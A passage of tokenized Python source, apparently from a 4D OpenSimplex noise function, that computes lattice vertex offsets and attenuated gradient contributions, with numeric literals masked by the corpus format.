= dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy_ext2 = dy0 - SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>ysv_ext1 -= <NUM_LIT:1><EOL>dy_ext1 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext2 -= <NUM_LIT:1><EOL>dy_ext2 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy_ext2 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb<EOL>dz_ext0 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz_ext2 = dz0 - SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>zsv_ext1 -= <NUM_LIT:1><EOL>dz_ext1 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext2 -= <NUM_LIT:1><EOL>dz_ext2 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz_ext2 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb<EOL>wsv_ext2 = wsb - <NUM_LIT:1><EOL>dw_ext0 = dw0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 - SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 + <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsv_ext2 = wsb + <NUM_LIT:1><EOL>dw_ext0 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw_ext2 = dw0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT><DEDENT>attn0 = <NUM_LIT:2> - dx0 * dx0 - dy0 * dy0 - dz0 * dz0 - dw0 * dw0<EOL>if attn0 > <NUM_LIT:0>:<EOL><INDENT>attn0 *= attn0<EOL>value += attn0 * attn0 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx0, dy0, dz0, dw0)<EOL><DEDENT>dx1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dy1 = dy0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>dz1 = dz0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>dw1 = dw0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1 - dw1 * dw1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx1, dy1, dz1, dw1)<EOL><DEDENT>dx2 = dx0 - <NUM_LIT:0> - SQUISH_CONSTANT_4D<EOL>dy2 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dz2 = dz1<EOL>dw2 = dw1<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2 - dw2 * dw2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:0>, dx2, dy2, dz2, dw2)<EOL><DEDENT>dx3 = dx2<EOL>dy3 = dy1<EOL>dz3 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dw3 = dw1<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3 - dw3 * dw3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx3, dy3, dz3, dw3)<EOL><DEDENT>dx4 = dx2<EOL>dy4 = dy1<EOL>dz4 = dz1<EOL>dw4 = dw0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>attn4 = <NUM_LIT:2> - dx4 * dx4 - dy4 * dy4 - dz4 * dz4 - dw4 * dw4<EOL>if attn4 > <NUM_LIT:0>:<EOL><INDENT>attn4 *= attn4<EOL>value += attn4 * attn4 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx4, dy4, dz4, dw4)<EOL><DEDENT><DEDENT>elif in_sum >= <NUM_LIT:3>: <EOL><INDENT>a_po = <NUM_LIT><EOL>a_score = xins<EOL>b_po = <NUM_LIT><EOL>b_score = yins<EOL>if a_score <= b_score and zins < b_score:<EOL><INDENT>b_score = zins<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score > b_score and zins < a_score:<EOL><INDENT>a_score = zins<EOL>a_po = <NUM_LIT><EOL><DEDENT>if a_score <= b_score and wins < b_score:<EOL><INDENT>b_score = wins<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score > b_score and wins < a_score:<EOL><INDENT>a_score = wins<EOL>a_po = <NUM_LIT><EOL><DEDENT>uins = <NUM_LIT:4> - in_sum<EOL>if uins < a_score or uins < b_score: <EOL><INDENT>c = b_po if (b_score < a_score) else a_po <EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb + <NUM_LIT:2><EOL>xsv_ext1 = xsv_ext2 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:2> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx_ext2 = dx0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsv_ext2 = xsb<EOL>dx_ext0 = dx_ext1 = dx_ext2 = dx0 - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy_ext2 = dy0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext1 += <NUM_LIT:1><EOL>dy_ext1 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext0 += <NUM_LIT:1><EOL>dy_ext0 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb<EOL>dy_ext0 = dy_ext1 = dy_ext2 = dy0 - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz_ext2 = dz0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) != <NUM_LIT>:<EOL><INDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 += <NUM_LIT:1><EOL>dz_ext0 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 += <NUM_LIT:1><EOL>dz_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext2 += <NUM_LIT:1><EOL>dz_ext2 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb<EOL>dz_ext0 = dz_ext1 = dz_ext2 = dz0 - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb + <NUM_LIT:1><EOL>wsv_ext2 = wsb + <NUM_LIT:2><EOL>dw_ext0 = dw_ext1 = dw0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:2> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsv_ext2 = wsb<EOL>dw_ext0 = dw_ext1 = dw_ext2 = dw0 - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL><DEDENT><DEDENT>else: <EOL><INDENT>c = (a_po & b_po) <EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsv_ext2 = xsb + <NUM_LIT:1><EOL>xsv_ext1 = xsb + <NUM_LIT:2><EOL>dx_ext0 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dx_ext2 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsv_ext2 = xsb<EOL>dx_ext0 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx_ext2 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy_ext2 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext2 += <NUM_LIT:1><EOL>dy_ext2 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext1 += <NUM_LIT:1><EOL>dy_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysv_ext2 = ysb<EOL>dy_ext0 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy_ext2 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz_ext2 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext2 += <NUM_LIT:1><EOL>dz_ext2 -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 += <NUM_LIT:1><EOL>dz_ext1 -= <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsv_ext2 = zsb<EOL>dz_ext0 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz_ext2 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb + <NUM_LIT:1><EOL>wsv_ext2 = wsb + <NUM_LIT:2><EOL>dw_ext0 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:2> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsv_ext2 = wsb<EOL>dw_ext0 = dw0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw_ext2 = dw0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL><DEDENT><DEDENT>dx4 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dy4 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz4 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw4 = dw0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>attn4 = <NUM_LIT:2> - dx4 * dx4 - dy4 * dy4 - dz4 * dz4 - dw4 * dw4<EOL>if attn4 > <NUM_LIT:0>:<EOL><INDENT>attn4 *= attn4<EOL>value += attn4 * attn4 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:0>, dx4, dy4, dz4, dw4)<EOL><DEDENT>dx3 = dx4<EOL>dy3 = dy4<EOL>dz3 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw3 = dw0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>attn3 = <NUM_LIT:2> - dx3 * dx3 - dy3 * dy3 - dz3 * dz3 - dw3 * dw3<EOL>if attn3 > <NUM_LIT:0>:<EOL><INDENT>attn3 *= attn3<EOL>value += attn3 * attn3 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:0>, wsb + <NUM_LIT:1>, dx3, dy3, dz3, dw3)<EOL><DEDENT>dx2 = dx4<EOL>dy2 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz2 = dz4<EOL>dw2 = dw3<EOL>attn2 = <NUM_LIT:2> - dx2 * dx2 - dy2 * dy2 - dz2 * dz2 - dw2 * dw2<EOL>if attn2 > <NUM_LIT:0>:<EOL><INDENT>attn2 *= attn2<EOL>value += attn2 * attn2 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:0>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx2, dy2, dz2, dw2)<EOL><DEDENT>dx1 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz1 = dz4<EOL>dy1 = dy4<EOL>dw1 = dw3<EOL>attn1 = <NUM_LIT:2> - dx1 * dx1 - dy1 * dy1 - dz1 * dz1 - dw1 * dw1<EOL>if attn1 > <NUM_LIT:0>:<EOL><INDENT>attn1 *= attn1<EOL>value += attn1 * attn1 * extrapolate(xsb + <NUM_LIT:0>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx1, dy1, dz1, dw1)<EOL><DEDENT>dx0 = dx0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dy0 = dy0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dz0 = dz0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>dw0 = dw0 - <NUM_LIT:1> - <NUM_LIT:4> * SQUISH_CONSTANT_4D<EOL>attn0 = <NUM_LIT:2> - dx0 * dx0 - dy0 * dy0 - dz0 * dz0 - dw0 * dw0<EOL>if attn0 > <NUM_LIT:0>:<EOL><INDENT>attn0 *= attn0<EOL>value += attn0 * attn0 * extrapolate(xsb + <NUM_LIT:1>, ysb + <NUM_LIT:1>, zsb + <NUM_LIT:1>, wsb + <NUM_LIT:1>, dx0, dy0, dz0, dw0)<EOL><DEDENT><DEDENT>elif in_sum <= <NUM_LIT:2>: <EOL><INDENT>a_is_bigger_side = True<EOL>b_is_bigger_side = True<EOL>if xins + yins > zins + wins:<EOL><INDENT>a_score = xins + yins<EOL>a_po = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>a_score = zins + wins<EOL>a_po = <NUM_LIT><EOL><DEDENT>if xins + zins > yins + wins:<EOL><INDENT>b_score = xins + zins<EOL>b_po = <NUM_LIT><EOL><DEDENT>else:<EOL><INDENT>b_score = yins + wins<EOL>b_po = <NUM_LIT><EOL><DEDENT>if xins + wins > yins + zins:<EOL><INDENT>score = xins + wins<EOL>if a_score >= b_score and score > b_score:<EOL><INDENT>b_score = score<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score < b_score and score > a_score:<EOL><INDENT>a_score = score<EOL>a_po = <NUM_LIT><EOL><DEDENT><DEDENT>else:<EOL><INDENT>score = yins + zins<EOL>if a_score >= b_score and score > b_score:<EOL><INDENT>b_score = score<EOL>b_po = <NUM_LIT><EOL><DEDENT>elif a_score < b_score and score > a_score:<EOL><INDENT>a_score = score<EOL>a_po = <NUM_LIT><EOL><DEDENT><DEDENT>p1 = <NUM_LIT:2> - in_sum + xins<EOL>if a_score >= b_score and p1 > b_score:<EOL><INDENT>b_score = p1<EOL>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score < b_score and p1 > a_score:<EOL><INDENT>a_score = p1<EOL>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>p2 = <NUM_LIT:2> - in_sum + yins<EOL>if a_score >= b_score and p2 > b_score:<EOL><INDENT>b_score = p2<EOL>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score < b_score and p2 > a_score:<EOL><INDENT>a_score = p2<EOL>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>p3 = <NUM_LIT:2> - in_sum + zins<EOL>if a_score >= b_score and p3 > b_score:<EOL><INDENT>b_score = p3<EOL>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score < b_score and p3 > a_score:<EOL><INDENT>a_score = p3<EOL>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>p4 = <NUM_LIT:2> - in_sum + wins<EOL>if a_score >= b_score and p4 > b_score:<EOL><INDENT>b_po = <NUM_LIT><EOL>b_is_bigger_side = False<EOL><DEDENT>elif a_score < b_score and p4 > a_score:<EOL><INDENT>a_po = <NUM_LIT><EOL>a_is_bigger_side = False<EOL><DEDENT>if a_is_bigger_side == b_is_bigger_side:<EOL><INDENT>if a_is_bigger_side: <EOL><INDENT>c1 = (a_po | b_po)<EOL>c2 = (a_po & b_po)<EOL>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb<EOL>xsv_ext1 = xsb - <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 + <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysb<EOL>ysv_ext1 = ysb - <NUM_LIT:1><EOL>dy_ext0 = dy0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy0 + <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dy_ext1 = dy0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsb<EOL>zsv_ext1 = zsb - <NUM_LIT:1><EOL>dz_ext0 = dz0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz0 + <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dz_ext1 = dz0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsb<EOL>wsv_ext1 = wsb - <NUM_LIT:1><EOL>dw_ext0 = dw0 - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 + <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb + <NUM_LIT:1><EOL>dw_ext0 = dw0 - <NUM_LIT:1> - <NUM_LIT:3> * SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 - <NUM_LIT:1> - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL><DEDENT>xsv_ext2 = xsb<EOL>ysv_ext2 = ysb<EOL>zsv_ext2 = zsb<EOL>wsv_ext2 = wsb<EOL>dx_ext2 = dx0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dy_ext2 = dy0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dz_ext2 = dz0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>dw_ext2 = dw0 - <NUM_LIT:2> * SQUISH_CONSTANT_4D<EOL>if (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>xsv_ext2 += <NUM_LIT:2><EOL>dx_ext2 -= <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>ysv_ext2 += <NUM_LIT:2><EOL>dy_ext2 -= <NUM_LIT:2><EOL><DEDENT>elif (c2 & <NUM_LIT>) != <NUM_LIT:0>:<EOL><INDENT>zsv_ext2 += <NUM_LIT:2><EOL>dz_ext2 -= <NUM_LIT:2><EOL><DEDENT>else:<EOL><INDENT>wsv_ext2 += <NUM_LIT:2><EOL>dw_ext2 -= <NUM_LIT:2><EOL><DEDENT><DEDENT>else: <EOL><INDENT>xsv_ext2 = xsb<EOL>ysv_ext2 = ysb<EOL>zsv_ext2 = zsb<EOL>wsv_ext2 = wsb<EOL>dx_ext2 = dx0<EOL>dy_ext2 = dy0<EOL>dz_ext2 = dz0<EOL>dw_ext2 = dw0<EOL>c = (a_po | b_po)<EOL>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb - <NUM_LIT:1><EOL>xsv_ext1 = xsb<EOL>dx_ext0 = dx0 + <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx_ext1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy_ext1 = dy0 - SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>ysv_ext0 -= <NUM_LIT:1><EOL>dy_ext0 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext1 -= <NUM_LIT:1><EOL>dy_ext1 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb<EOL>dz_ext0 = dz_ext1 = dz0 - SQUISH_CONSTANT_4D<EOL>if (c & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>zsv_ext0 -= <NUM_LIT:1><EOL>dz_ext0 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 -= <NUM_LIT:1><EOL>dz_ext1 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsb<EOL>wsv_ext1 = wsb - <NUM_LIT:1><EOL>dw_ext0 = dw0 - SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 + <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb + <NUM_LIT:1><EOL>dw_ext0 = dw_ext1 = dw0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT><DEDENT><DEDENT>else: <EOL><INDENT>if a_is_bigger_side:<EOL><INDENT>c1 = a_po<EOL>c2 = b_po<EOL><DEDENT>else:<EOL><INDENT>c1 = b_po<EOL>c2 = a_po<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>xsv_ext0 = xsb - <NUM_LIT:1><EOL>xsv_ext1 = xsb<EOL>dx_ext0 = dx0 + <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL>dx_ext1 = dx0 - SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>xsv_ext0 = xsv_ext1 = xsb + <NUM_LIT:1><EOL>dx_ext0 = dx_ext1 = dx0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb<EOL>dy_ext0 = dy_ext1 = dy0 - SQUISH_CONSTANT_4D<EOL>if (c1 & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>ysv_ext0 -= <NUM_LIT:1><EOL>dy_ext0 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>ysv_ext1 -= <NUM_LIT:1><EOL>dy_ext1 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>ysv_ext0 = ysv_ext1 = ysb + <NUM_LIT:1><EOL>dy_ext0 = dy_ext1 = dy0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb<EOL>dz_ext0 = dz_ext1 = dz0 - SQUISH_CONSTANT_4D<EOL>if (c1 & <NUM_LIT>) == <NUM_LIT>:<EOL><INDENT>zsv_ext0 -= <NUM_LIT:1><EOL>dz_ext0 += <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>zsv_ext1 -= <NUM_LIT:1><EOL>dz_ext1 += <NUM_LIT:1><EOL><DEDENT><DEDENT>else:<EOL><INDENT>zsv_ext0 = zsv_ext1 = zsb + <NUM_LIT:1><EOL>dz_ext0 = dz_ext1 = dz0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>if (c1 & <NUM_LIT>) == <NUM_LIT:0>:<EOL><INDENT>wsv_ext0 = wsb<EOL>wsv_ext1 = wsb - <NUM_LIT:1><EOL>dw_ext0 = dw0 - SQUISH_CONSTANT_4D<EOL>dw_ext1 = dw0 + <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>else:<EOL><INDENT>wsv_ext0 = wsv_ext1 = wsb + <NUM_LIT:1><EOL>dw_ext0 = dw_ext1 = dw0 - <NUM_LIT:1> - SQUISH_CONSTANT_4D<EOL><DEDENT>xsv_ext2 = xsb<EOL>ysv_ext2 = ysb<EOL>zsv_ext2 = zsb<EOL>wsv_ext2 = wsb<EOL>dx_ext2 = dx0 - <NUM_LIT:2> * 